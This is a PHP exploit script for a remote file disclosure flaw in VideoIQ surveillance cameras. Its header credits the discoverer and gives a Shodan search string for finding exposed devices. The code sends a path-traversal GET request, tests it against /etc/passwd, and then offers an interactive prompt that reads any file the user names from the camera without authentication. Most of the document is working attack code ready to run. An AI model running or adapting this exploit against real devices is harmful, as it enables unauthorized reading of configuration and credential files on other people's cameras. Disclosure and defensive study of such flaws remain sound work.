<?php
# VideoIQ Camera Remote File Disclosure 0day Exploit
#
# VideoIQ develops intelligent video surveillance cameras using edge video IP security cameras paired with video analytics.
#
# Exploit Coded & Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# Date 20/08/2016
# Shodan Dork : title:"VideoIQ Camera Login"
# Version Affected : All Versions
# Vendor Homepage : http://avigilon.com
# CVE : N/A
# Description : VideoIQ is vulnerable to remote file disclosure which allows to any unauthenticated user read any file system including file configurations.
###
# Exploit code:
error_reporting(0);
$error[0] = "[!] This script is intended to be launched from the cli.";
if(php_sapi_name() <> "cli")
die($error[0]);
if($argc < 3) {
echo("\nUsage : php {$argv[0]} <host> <port>");
echo("\nExample: php {$argv[0]} localhost 8080");
die();
}
if(isset($argv[1]) && isset($argv[2])) {
$host = $argv[1];
$port = $argv[2];
}
$pack = "GET /%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C..{FILE_PATH} HTTP/1.0\r\n";
$pack.= "Host: {$host}\r\n";
$pack.= "Connection: close\r\n\r\n";
while(1) {
if(strstr(http_send($host, $port, preg_replace("/{FILE_PATH}/", '/etc/passwd', $pack)), 'root')) {
echo("\nAnonymous@{$host}:~# cat ");
if(($file = trim(fgets(STDIN))) == "exit")
break;
$ret = http_send($host, $port, preg_replace("/{FILE_PATH}/", $file, $pack));
if(strstr($ret, '<title>Error 404 NOT_FOUND</title>') || strstr($ret, '<p>Problem accessing') || strstr($ret, '<h2>HTTP ERROR 404</h2>')) {
echo("cat: {$file}: No such file or directory");
} else {
echo($ret);
}
} else {
echo("[-] Server likely not vulnerable.\n");
break;
}
}
function http_send($host, $port, $pack) {
if(!($sock = fsockopen($host, $port)))
die("\n[-] No response from {$host}\n");
fwrite($sock, $pack);
$response = explode("\r\n\r\n", stream_get_contents($sock));
return($response[1]);
}
?>
